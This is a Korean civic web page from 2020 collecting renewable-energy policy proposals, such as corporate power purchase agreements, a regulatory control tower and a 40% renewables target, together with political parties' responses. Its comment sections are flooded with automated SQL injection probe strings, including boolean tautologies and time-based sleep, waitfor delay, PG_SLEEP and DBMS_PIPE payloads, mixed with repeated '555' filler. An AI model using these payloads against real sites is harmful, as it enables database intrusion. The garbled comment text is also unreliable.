재생에너지 확대를 위한 제도개선

이산화탄소와 미세먼지, 핵폐기물 걱정 없는, 안전하고 깨끗한 ‘재생에너지’.

세계 각국이 재생에너지를 중심 에너지원으로 사용하고 있는 것과 달리 대한민국의 재생에너지 비중은 4.5%에 불과합니다.

환경 및 입지에 관련된 규제들이 재생에너지 확대 정책과 충돌하고 있고, 단기 목표에 치중하다 보니 미래를 내다보는 지속 가능한 정책이 부족합니다.

정부 기조에도 불구하고, 관련 산업이 어려울 수밖에 없는 이유입니다.

228개 글로벌 기업들이 주도하고 있는 재생에너지 100% 이니셔티브인 ‘RE100’.

전력시장이 독점구조로 경직된 우리나라에서는 기업들이 하고 싶어도 할 수 없는 상황입니다.

이런 문제들을 해결할 때, 재생에너지 사회로 빠르게 전환할 수 있습니다.

*아래 세부정책을 제안해주세요. 에너지전환포럼([포럼])에서 제안한 세부정책과제와 함께 각 정당에 질의해서 답변을 요청하겠습니다.

세부정책 제안

소비자가 재생에너지 전기를 직접 구매할 수 있는 전력구매계약제도(PPA) 도입 [포럼]

admin : 2020-02-27

현행 제도에서는 소비자나 기업이 재생에너지 확대에 기여할 방법이 없습니다.

재생에너지 전기를 사용하려고 해도 전력원을 구분할 수도 없고 재생에너지 전기만 따로 구매할 수도 없기 때문입니다.

한전에서 도입을 준비하고 있는 녹색요금 제도는 기존 재생에너지 전기를 한쪽으로 몰아주기만 합니다.

이 제도를 도입하면 국민들이 사용하고 있는 재생에너지 전기는 오히려 줄어듭니다.

현행 재생에너지 의무할당제(RPS)는 발전회사들이 의무할당비율(2020년 7%)만 맞추게만 하니 재생에너지 시장 확대는 발이 묶여 있습니다.

소비자와 기업이 재생에너지 전기를 생산하는 공급자와 직접 계약을 맺게 되면 재생에너지 전기수요가 늘어납니다.

새로운 시장을 늘어나는 만큼, 재생에너지 전기 단가를 낮추는 효과가 있습니다.

추천 및 댓글쓰기
168

시장이 오픈되어야 혁신이 일어납니다.
555
555
555
s9EvwGRr
-1 OR 2+369-369-1=0+0+0+1 --
-1 OR 2+920-920-1=0+0+0+1
-1' OR 2+787-787-1=0+0+0+1 --
-1' OR 2+502-502-1=0+0+0+1 or '024meMSZ'='
-1" OR 2+826-826-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
NpD987i1'; waitfor delay '0:0:15' --
-5 OR 737=(SELECT 737 FROM PG_SLEEP(15))--
-5) OR 830=(SELECT 830 FROM PG_SLEEP(15))--
-1)) OR 731=(SELECT 731 FROM PG_SLEEP(15))--
L0Ywl62h' OR 769=(SELECT 769 FROM PG_SLEEP(15))--
ipu26rQm') OR 260=(SELECT 260 FROM PG_SLEEP(15))--
EnBUNlVa')) OR 79=(SELECT 79 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@I0ifh
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
KsSGc7Kv
-1 OR 2+687-687-1=0+0+0+1 --
-1 OR 2+50-50-1=0+0+0+1
-1' OR 2+96-96-1=0+0+0+1 --
-1' OR 2+637-637-1=0+0+0+1 or 'QsZJoAso'='
-1" OR 2+825-825-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
lCTHcaos'; waitfor delay '0:0:15' --
-5 OR 547=(SELECT 547 FROM PG_SLEEP(15))--
-5) OR 934=(SELECT 934 FROM PG_SLEEP(15))--
-1)) OR 285=(SELECT 285 FROM PG_SLEEP(15))--
lpOE6wK4' OR 839=(SELECT 839 FROM PG_SLEEP(15))--
TxG0M8R9') OR 416=(SELECT 416 FROM PG_SLEEP(15))--
jSTx0K9d')) OR 923=(SELECT 923 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@UU1t5
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555

정책에 대한 각 정당 입장

-PPA는 법률개정 사항으로 발전·판매 겸업 허용에 대한 국회내 합의가 선행될 필요
-또한, 도입시에도 계약전력 부족분 공급방식, 별도 망이용요금 등에 대한 보완방안 사전 검토 필요
-현재 법률개정 없이 추진 가능하면서 PPA와 유사한 효력이 있는 제3자 PPA(한전 중개)를 도입할 계획

-재생에너지 확대에 따라 다양한 재생에너지 생산자와 소비자가 생길 수 있는 정책이 필요하며, 이를 연계할 정책적 수단도 필요함
-특히 현행 RPS 제도의 의무할당비중은 너무 낮게 책정되어 재생에너지 확대를 오히려 제약하는 문제점이 지적되고 있음. 이에 의무할당비중을 높이고, FIT 제도 병행 등 보완책을 마련해야 할 것임
-그러나 전력구매계약제도(PPA) 도입은 전력판매시장 전면 개방을 포함한 다양한 의미를 담고 있으며, 이로 인한 대기업의 전력판매 시장 진출, 전력시장 개편 방향 등에 대해서는 더욱 다양한 사회적 논의와 부작용 해결 방안, 규제책 마련이 함께 이뤄져야 할 것임

- 재생에너지 확대를 위한 제도개선이 매우 필요하다는 점에 적극 동의합니다. 특히, 지역기반 공동체 에너지전환이 그 방향이 되어야 할 것입니다.
- 다만, 재생에너지 확대를 위한 규제 혁신 부분에서는 기본적으로 부처간 이해관계를 종합적으로 조정하고, 장기적인 재생에너지 확대 계획 수립을 위한 컨트롤타워가 있어야 한다는 점에서 동의하였음을 밝힙니다. 이 과정에서 생태계의 회복력 문제와 주민들의 안전한 일상 문제가 필히 고려되어야 합니다.

재생에너지 확대를 위한 규제혁신과 컨트롤타워 정립 [포럼]

admin : 2020-03-06

많은 재생에너지 프로젝트들이 진행이 늦어지거나 취소되고 있습니다.

원인은 육상풍력 가이드라인이나 산지 태양광 규제 같은 각종 규제인데 보다 심각한 문제는 이런 규제들이 부처 간에 중복되고 있다는 점입니다.

이를 해결하려면 종합적인 재생에너지 확대계획을 수립하고 부처 간 이해관계를 조정할 수 있는 컨트롤타워가 반드시 필요합니다.

추천 및 댓글쓰기
165

현 제도 하에서는 계획적이고 질서있는 재생에너지 보급이 사실상 어렵습니다.
태양광의 난립
육상풍력의 환경훼손 논란
해상풍력의 어업피해 논란
결국 국가와 제도의 몫이 아닌가 합니다
21대 국회에서 제대로 고쳤으면 좋겠습니다.
555
555
555
YHknfQJH
-1 OR 2+372-372-1=0+0+0+1 --
-1 OR 2+859-859-1=0+0+0+1
-1' OR 2+848-848-1=0+0+0+1 --
-1' OR 2+699-699-1=0+0+0+1 or '4gomr9qa'='
-1" OR 2+332-332-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
GkOvA3Bk'; waitfor delay '0:0:15' --
-5 OR 782=(SELECT 782 FROM PG_SLEEP(15))--
-5) OR 721=(SELECT 721 FROM PG_SLEEP(15))--
-1)) OR 289=(SELECT 289 FROM PG_SLEEP(15))--
kfbl7EnZ' OR 238=(SELECT 238 FROM PG_SLEEP(15))--
0xcRUkPC') OR 73=(SELECT 73 FROM PG_SLEEP(15))--
pGm7ucvr')) OR 721=(SELECT 721 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@GEQwq
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
DoAzTCCL
-1 OR 2+23-23-1=0+0+0+1 --
-1 OR 2+309-309-1=0+0+0+1
-1' OR 2+138-138-1=0+0+0+1 --
-1' OR 2+225-225-1=0+0+0+1 or 'NZiW6j9K'='
-1" OR 2+34-34-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
ZnapTcGj'; waitfor delay '0:0:15' --
-5 OR 481=(SELECT 481 FROM PG_SLEEP(15))--
-5) OR 437=(SELECT 437 FROM PG_SLEEP(15))--
-1)) OR 840=(SELECT 840 FROM PG_SLEEP(15))--
MzCmWc0p' OR 494=(SELECT 494 FROM PG_SLEEP(15))--
5A0JSX2k') OR 310=(SELECT 310 FROM PG_SLEEP(15))--
NVLVvRNC')) OR 38=(SELECT 38 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@xK9mC
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555

정책에 대한 각 정당 입장

-재생에너지 확대를 위한 규제혁신 필요성에는 동의
-다만, 이를 위한 별도 조직(컨트롤타워) 신설은 신중한 검토가 필요하며, 기존의 부처간 협의채널 등을 적극 활용할 필요

- 2030년까지 재생에너지 전력생산 비중을 40%로 대폭 상향조정, 석탄화력발전 조기 가동중지를 반영한 2030년 국가 에너지 믹스 계획 수립 및 에너지전환 로드맵 수립을 공약함
- 기후위기 대처와 재생에너지로의 에너지전환 전략을 전담할 <기후에너지부> 신설을 공약함
- 지역 재생에너지 산업과 관련 부품산업, 그리고 순환경제 산업 활성화 지원. 이 과정에서 지역사회와 지역 주민이 초기 자본의 일정 지분투자를 보장하도록 지원하는 「지역녹색산업 활성화법」 제정을 공약함
- 국가 신규 연구개발 투자의 50% 이상을 녹색혁신에 투자하여 그린뉴딜 정책 추진의 자립적 기술기반을 뒷받침할 것을 공약함
- 기존 에너지 관련 국책연구기관의 에너지전환과 녹색혁신 관련 연구기능을 강화할 것을 공약함

지자체의 역할과 책임 증대를 위한 제도 개선 [포럼]

admin : 2020-03-06

재생에너지는 전국의 모든 지역으로 확대되고 있는데 중심이 되어야 할 지자체의 책임과 권한은 부재합니다.

오히려 재생에너지에 대한 낮은 이해로 무분별한 이격거리 등의 규제를 만들고 지역에서의 지자체의 책임을 다하지 않아 사업의 예측 가능성과 법적 안정성을 해치는 경우까지 있습니다.

지역 에너지전환의 핵심 주체인 지자체가 지역 특성에 맞는 목표를 수립하고 이를 책임 있게 달성할 수 있도록 관련 제도를 개선해야 합니다.

추천 및 댓글쓰기
164

555
555
555
I5iOoqNI
-1 OR 2+961-961-1=0+0+0+1 --
-1 OR 2+150-150-1=0+0+0+1
-1' OR 2+146-146-1=0+0+0+1 --
-1' OR 2+46-46-1=0+0+0+1 or '8duMhfOR'='
-1" OR 2+718-718-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
CAxAiHFg'; waitfor delay '0:0:15' --
-5 OR 721=(SELECT 721 FROM PG_SLEEP(15))--
-5) OR 594=(SELECT 594 FROM PG_SLEEP(15))--
-1)) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
qB4ztlmO' OR 924=(SELECT 924 FROM PG_SLEEP(15))--
wljsTK3r') OR 40=(SELECT 40 FROM PG_SLEEP(15))--
SnehwOyz')) OR 870=(SELECT 870 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@5DLN6
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
8EBr5VS9
-1 OR 2+649-649-1=0+0+0+1 --
-1 OR 2+312-312-1=0+0+0+1
-1' OR 2+521-521-1=0+0+0+1 --
-1' OR 2+228-228-1=0+0+0+1 or 'H6w9fDUq'='
-1" OR 2+326-326-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
ZnXUkkWM'; waitfor delay '0:0:15' --
-5 OR 451=(SELECT 451 FROM PG_SLEEP(15))--
-5) OR 492=(SELECT 492 FROM PG_SLEEP(15))--
-1)) OR 485=(SELECT 485 FROM PG_SLEEP(15))--
3S7l1IUE' OR 270=(SELECT 270 FROM PG_SLEEP(15))--
qQnN1FRQ') OR 313=(SELECT 313 FROM PG_SLEEP(15))--
Yo97D5xa')) OR 962=(SELECT 962 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@FgdNK
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555

정책에 대한 각 정당 입장

-재생에너지 확대를 위한 지자체의 역할이 중요하다는 점에 대해 공감
-이미 발전사업/개발행위 허가 등의 권한은 지자체에 집중되어 있는 상황으로 지자체가 재생에너지 확대에 책임을 다하기 위한 지원 확대가 중요

재생에너지 보급 목표를 2030년 40%로 상향

황민수 : 2020-03-12

우리나라의 재생에너지 목표인 RE3020을 달성해도 2018년 말 기준 아시아 평균 재생에너지 점유율 22.1%보다 2.1% 낮습니다.

우리나라의 국제사회에 대한 위상만큼 재생에너지 보급 목표를 세계 평균 수준으로 상향할 필요가 있습니다.

추천 및 댓글쓰기
166

재생에너지는 저탄소순환경제 기반 구축을 위해 가장 적합한 에너지원입니다.
가장 핵심적인 정책입니다
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
7vpJrmgK
-1 OR 2+677-677-1=0+0+0+1 --
-1 OR 2+277-277-1=0+0+0+1
-1' OR 2+930-930-1=0+0+0+1 --
-1' OR 2+200-200-1=0+0+0+1 or '7hA8ckuX'='
-1" OR 2+634-634-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
lxd9R4N6
-1 OR 2+888-888-1=0+0+0+1 --
-1 OR 2+375-375-1=0+0+0+1
-1' OR 2+617-617-1=0+0+0+1 --
-1' OR 2+483-483-1=0+0+0+1 or 'J6P3Eddo'='
3u55qSlD'; waitfor delay '0:0:15' --
-1" OR 2+751-751-1=0+0+0+1 --
-5 OR 283=(SELECT 283 FROM PG_SLEEP(15))--
if(now()=sysdate(),sleep(15),0)
-5) OR 525=(SELECT 525 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1)) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
hnhHNyuw' OR 247=(SELECT 247 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
b2baFm09') OR 579=(SELECT 579 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --
dCdowT21')) OR 214=(SELECT 214 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
8WaAuVku'; waitfor delay '0:0:15' --
1'"
@@FqC1D
-5 OR 782=(SELECT 782 FROM PG_SLEEP(15))--
555
-5) OR 934=(SELECT 934 FROM PG_SLEEP(15))--
555
-1)) OR 144=(SELECT 144 FROM PG_SLEEP(15))--
555
555
555
555
555
555
9FleSg1m' OR 434=(SELECT 434 FROM PG_SLEEP(15))--
555
Uj5Q5KVm') OR 559=(SELECT 559 FROM PG_SLEEP(15))--
555
zcZ541tx')) OR 110=(SELECT 110 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@0Kuiy
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555

정책에 대한 각 정당 입장

-세계적 에너지전환 추세에 발맞춰 재생에너지 비중을 확대해나가야 한다는 것에는 동의 -다만, 현재 재생에너지 발전비중 수준이 낮고(’18년 8%) 정부에서 이미 2030년 재생에너지 비중 20% 목표를 발표하여 추진 중인 상황에서 목표 상향조정에는 신중할 필요

신에너지와 재생에너지의 법 분리

황민수 : 2020-03-12

신에너지 및 재생에너지 개발·이용·보급 촉진법에서 온실가스와 오염물질을 배출하는 신에너지와 배출하지 않는 재생에너지를 포괄적으로 정의하고 있는바, 온실가스와 오염물질을 배출하는 신에너지 및 폐기물을 법령 분리하고, 지원하는 조항들을 삭제해야 합니다.

IEA(International Energy Association)의 에너지 분류에서 재생에너지로 분류된 항목만으로 재생에너지 관련법을 제정하고 지원 및 육성해야 합니다.

추천 및 댓글쓰기
163

555
555
555
555
bIGy7IcE
-1 OR 2+662-662-1=0+0+0+1 --
-1 OR 2+134-134-1=0+0+0+1
555
-1' OR 2+88-88-1=0+0+0+1 --
-1' OR 2+113-113-1=0+0+0+1 or '1VrdsT6J'='
-1" OR 2+536-536-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
555
555
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
ojmVaPQT'; waitfor delay '0:0:15' --
555
-5 OR 190=(SELECT 190 FROM PG_SLEEP(15))--
555
-5) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
555
-1)) OR 555=(SELECT 555 FROM PG_SLEEP(15))--
555
xMiEQ57a' OR 373=(SELECT 373 FROM PG_SLEEP(15))--
555
555
555
q3n9tomE') OR 192=(SELECT 192 FROM PG_SLEEP(15))--
555
igZgr0jY')) OR 457=(SELECT 457 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
SFOdLjdy
-1 OR 2+308-308-1=0+0+0+1 --
@@EyTlZ
-1 OR 2+203-203-1=0+0+0+1
-1' OR 2+373-373-1=0+0+0+1 --
-1' OR 2+585-585-1=0+0+0+1 or 'NjsqESxE'='
-1" OR 2+997-997-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
8uhjXnLL'; waitfor delay '0:0:15' --
555
-5 OR 757=(SELECT 757 FROM PG_SLEEP(15))--
555
-5) OR 554=(SELECT 554 FROM PG_SLEEP(15))--
555
-1)) OR 180=(SELECT 180 FROM PG_SLEEP(15))--
555
W4HJOGFS' OR 849=(SELECT 849 FROM PG_SLEEP(15))--
555
QVPFE0v7') OR 240=(SELECT 240 FROM PG_SLEEP(15))--
555
555
555
bo40Ql2m')) OR 616=(SELECT 616 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@difKQ
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555

정책에 대한 각 정당 입장

- 신재생에너지법상 재생에너지 분류에서 국제기준과 다른 비재생폐기물 등은 이미 제외하였음(’19.10)
- 신재생에너지법상 신에너지는 수소, 연료전지, IGCC 등으로 친환경에너지이자 새로운 성장동력으로서 정부 정책으로 수소, 연료전지 등을 확대하고 있는 가운데 법 분리는 신중히 검토할 필요

재생에너지 친화형 전력시장과 안정적인 전력계통 구축 [포럼]

admin : 2020-03-19

큰 발전기가 특정 지역에 오랜기간 동안 집중적으로 설치되는 원전과 석탄발전소와 달리 전국에 다수의 발전소가 동시다발적으로 빠르게 건설되다 보니 그에 맞는 전력계통과 전력시장이 필요합니다(전력량 중 재생에너지 비중이 41.7%인 독일은 재생에너지 발전소가 2백만 개가 넘고 약 16년 만에 118기가와트의 설비가 증가했습니다).

전국에 깔린 재생에너지 발전소는 기상의 변화에 따라 전력공급량이 변하기 때문에 전력수요와 공급을 실시간으로 조정하는 제도와 시장이 필요합니다.

현재 우리나라는 하루 전에 전력수요와 공급을 맞추는 방식이지만 재생에너지 비중이 높고 전력수요 반응으로 수요를 관리하는 유럽 등은 실시간 전력시장으로 전력수요와 공급을 조정합니다.

기존의 전통적인 발전소와 달리 다양한 재생에너지원으로 전기를 생산하는 재생에너지 발전기들에 적합한 전력시장과 전력계통을 구축하기 위해 관련 제도와 법 등을 정비해야 합니다.

추천 및 댓글쓰기
164

555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
o3t1ZBOX
-1 OR 2+26-26-1=0+0+0+1 --
-1 OR 2+904-904-1=0+0+0+1
-1' OR 2+895-895-1=0+0+0+1 --
-1' OR 2+287-287-1=0+0+0+1 or 'byL2Hxnt'='
-1" OR 2+69-69-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
T0PneQ3v
-1 OR 2+797-797-1=0+0+0+1 --
-1 OR 2+965-965-1=0+0+0+1
-1' OR 2+869-869-1=0+0+0+1 --
-1' OR 2+570-570-1=0+0+0+1 or 'aX65zGYR'='
-1" OR 2+749-749-1=0+0+0+1 --
v8DhlmOJ'; waitfor delay '0:0:15' --
if(now()=sysdate(),sleep(15),0)
-5 OR 267=(SELECT 267 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-5) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1)) OR 461=(SELECT 461 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
67zB0OwU' OR 926=(SELECT 926 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --
NMh3cZbN') OR 123=(SELECT 123 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
JXeoGfV3')) OR 920=(SELECT 920 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
hii8pnH9'; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@3cY90
-5 OR 644=(SELECT 644 FROM PG_SLEEP(15))--
555
-5) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
555
-1)) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
555
555
555
555
555
555
YZlw4jeE' OR 593=(SELECT 593 FROM PG_SLEEP(15))--
555
6n5i3JVN') OR 430=(SELECT 430 FROM PG_SLEEP(15))--
555
qzkSxfvh')) OR 597=(SELECT 597 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@gslrG
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555

정책에 대한 각 정당 입장

-재생에너지에 친화적으로 전력시장제도를 지속적으로 개선하고, 출력 변동성 확대에 대한 계통운영시스템 보강(재생에너지 종합관제시스템 등)을 지속할 필요

태그

5대과제 재생에너지

[자료] 덴마크 해상풍력단지 사후 환경 모니터링 결과 - 큰 영향 無

조회: 177 | 댓글: 0

독일 해상풍력단지, 조류 서식에 미치는 부정적 영향 없어

조회: 213 | 댓글: 0

"에너지 전환 시스템에 ‘시민 참여’는 필수"

조회: 132 | 댓글: 0

구글 등 재생에너지 구매계약 2년 만에 3배↑…국내는 아직 감감

조회: 122 | 댓글: 0

[분석] 해양공간계획에 해상풍력 ‘사실상 끝장’

조회: 102 | 댓글: 0

장려할 땐 언제고… 지자체, 민원 급증하자 설치 막아 ‘혼선’ [심층기획 - 빛 잃은 태양광]

조회: 26 | 댓글: 0

툭하면 소송… 갈등 부르는 태양광사업 [심층기획 - 빛 잃은 태양광]

조회: 59 | 댓글: 0

RE100과 우리나라 전력산업의 새로운 미래

조회: 317 | 댓글: 0

[시론] 멸종 저항의 시대, 재생에너지 100% 사회로 / 양이원영

조회: 11 | 댓글: 0

글로벌 에너지전환 속도전 돌입과 대한민국의 현주소

조회: 15 | 댓글: 0

[보도자료] '기업 전력구매계약(PPA) 도입 위한 전기사업법 개정안' 지지

조회: 764 | 댓글: 0

재생에너지 늘리자더니…엇박자 규제로 시드는 태양광 (중앙일보)

조회: 18 | 댓글: 0

재생에너지 확보는 생존의 문제 전력거래자유화를 통한 재생에너지의 활성화 필요

조회: 336 | 댓글: 0

"에너지전환, 컨트롤타워 없고 세계적 흐름에도 못미친다"

조회: 11 | 댓글: 0

“기업 PPA, 기업 재생에너지 사용 확대에 효과적”

조회: 97 | 댓글: 0

“재생E 확대, 정부·지자체 엇박자 여전”

